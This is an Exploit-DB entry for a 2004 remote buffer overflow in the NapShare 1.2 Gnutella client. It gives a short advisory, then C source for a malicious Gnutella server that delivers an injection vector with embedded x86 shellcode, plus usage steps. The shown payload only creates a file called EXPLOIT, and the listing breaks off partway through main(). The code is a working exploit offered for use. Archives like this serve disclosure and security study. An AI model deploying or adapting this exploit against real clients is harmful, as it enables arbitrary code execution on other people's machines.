Exploit-DB #24856
Description: NapShare 1.2 - Remote Buffer Overflow (1)
Type: remote
Platform: linux
Date: 2004-12-06
Author: Bartlomiej Sieka

Exploit:
// source: https://www.securityfocus.com/bid/11967/info

It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed-size memory buffer.

Attackers running malicious Gnutella servers are reportedly able to exploit this vulnerability to execute arbitrary code in the context of the vulnerable application.

Version 1.2 of NapShare is reported susceptible. Other versions may also be affected.

/*
 * napshare_srv.c
 * 2004.12.06
 * Bartlomiej Sieka
 *
 * This program generates the injection vector used to exploit a buffer
 * overflow in napshare version 1.2 (file auto.c, function
 * auto_filter_extern.c, buffer is "filename"). Program uses a slightly
 * modified payload provided by Professor Daniel J. Bernstein in the
 * Fall 2004 MCS 494 course at UIC.
 *
 * This program should be used with the tcpserver(1) to allow a running
 * napshare client to make connections to it.
 * The recipe:
 * Issue the following commands:
 * gcc -o napshare_srv napshare_srv
 * tcpserver 0 50000 ./napshare_srv &
 * napshare
 *
 * In the napshare program do the following:
 * - Connect to peer 127.0.0.1:50000 (type the ip:port on the "gnutellaNet"
 *   screen in the text input field to the right of the "Add" button
 *   and then click "Add").
 * - Add new "extern" filter. (On the "Automation" screen input "test",
 *   "test" and "extern" into "Search", "Strings" and "Filters" input
 *   fields, respectively. Then click "Add to list".)
 * - Start the automation function. (On the "Automation" screen click
 *   on the "Start Automation" button).
 * After about 20 seconds a file called "EXPLOIT" will be created in
 * the current working directory an the napshare program will exit.
 */

#include<stdio.h>
#include<fcntl.h>
#include<arpa/inet.h>
#include<assert.h>
#include <sys/time.h>
#include <signal.h>

#define NODEBUG


/*
 * Messages used to establish a connection
 */
const char * Connect = "GNUTELLA CONNECT/";
const char * OK = 
"GNUTELLA/0.6 200 OK\r\n\
Pong-Caching: 0.1\r\n\
Accept-Encoding: deflate\r\n\
X-Locale-Pref: fr\r\n\
X-Guess: 0.1\r\n\
Content-Encoding: deflate\r\n\
X-Max-TTL: 3\r\n\
Vendor-Message: 0.1\r\n\
X-Ultrapeer-Query-Routing: 0.1\r\n\
X-Query-Routing: 0.1\r\n\
Listen-IP: 81.56.202.32:6346\r\n\
X-Ext-Probes: 0.1\r\n\
Remote-IP:.69.211.109.203\r\n\
GGEP: 0.5\r\n\
X-Dynamic-Querying: 0.1\r\n\
X-Degree: 32\r\n\
User-Agent: LameWare/9.9.7.(0xdeadbeef)\r\n\
X-Ultrapeer: True\r\n\
X-Try-Ultrapeers: 69.28.37.190.69:6348\r\n\
\r\n";

const char * End = "\r\n\r\n"; /* this is a stupid idea */


/*
 * A simple payload creating a file called "EXPLOIT",
 * based on the code provided by Daniel J. Bernstein.
 */
char code[] = {
  0x59                         /*   cx = *sp++                      */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x88, 0x41, 0x07             /*   NULL-terminate the EXPLOIT str  */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0xc1, 0xe0, 0x07             /*   ax <<= 7                        */
, 0x50                         /*   *--sp = ax                 0600 */
, 0xb8, 0x12, 0x34, 0x56, 0x02 /*   ax = 0x02563412                 */
, 0xc1, 0xe8, 0x18             /*   ax >>= 24                       */
, 0xc1, 0xe0, 0x08             /*   ax <<= 8                        */
, 0x50                         /*   *--sp = ax          512:O_CREAT */
, 0x51                         /*   *--sp = cx          "EXPLOITED" */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0xb0, 0x05                   /*   ax = (ax & ~255) + 5            */
, 0x50                         /*   *--sp = ax               5:open */
, 0xcd, 0x80                   /*   syscall                         */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x50                         /*   *--sp = ax                    0 */
, 0x40                         /*   ++ax                            */
, 0x50                         /*   *--sp = ax               1:exit */
, 0xcd, 0x80                   /*   syscall                         */
} ;


/* all output intened for the user should go here */
FILE * out_stream;


#define PING_DESCR 0x00
#define PONG_DESCR 0x01
#define PUSH_DESCR 0x40
#define QUERY_DESCR 0x80
#define QUERYHIT_DESCR 0x81

#define MAX_IV 16000
#define MAX_PAYLOAD_SIZE 16000
#define MAX_PAYLOAD_LEN 16000
#define HDR_SIZE 23
#define MSG_ID_SIZE 16

char Hdr[HDR_SIZE];
char Payload[MAX_PAYLOAD_SIZE];
char * MsgIdBogus = "%%%%____\000\000\000\000\n\n\n\n";

char MsgId[MSG_ID_SIZE];

char Ttl;
char Hops;

char c;

uint32_t Len;


int
dump_fd(int fd, unsigned count);

int
parse_query_payload(int fd, unsigned payload_len, char * criteria);

void send_ping(int fd);
void send_pong(int fd);
void send_queryhit(int fd, char *criteria, char *descr_id);

void
set_descr_hdr(char * Hdr,
	      char * msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len);

void
random_array(unsigned int n, char * array);

int
write_buf(int fd, char *buf, unsigned size);

/* XXX should this really be here...? */
uint16_t port;
uint32_t ip;
int net_out_fd;


/* send the Ping message periodically */
void timer_send_ping(int signal){
  fprintf(out_stream, "Sending Ping message\n");
  send_ping(net_out_fd);
  fflush(out_stream);
}


/***************************************************************************
 * main
 */
int
main(int argc, char * argv[]){
unsigned int seed;
  int net_in_fd = 0;
  char *msg;
  char criteria[4096];
  char c;  
  char buf[102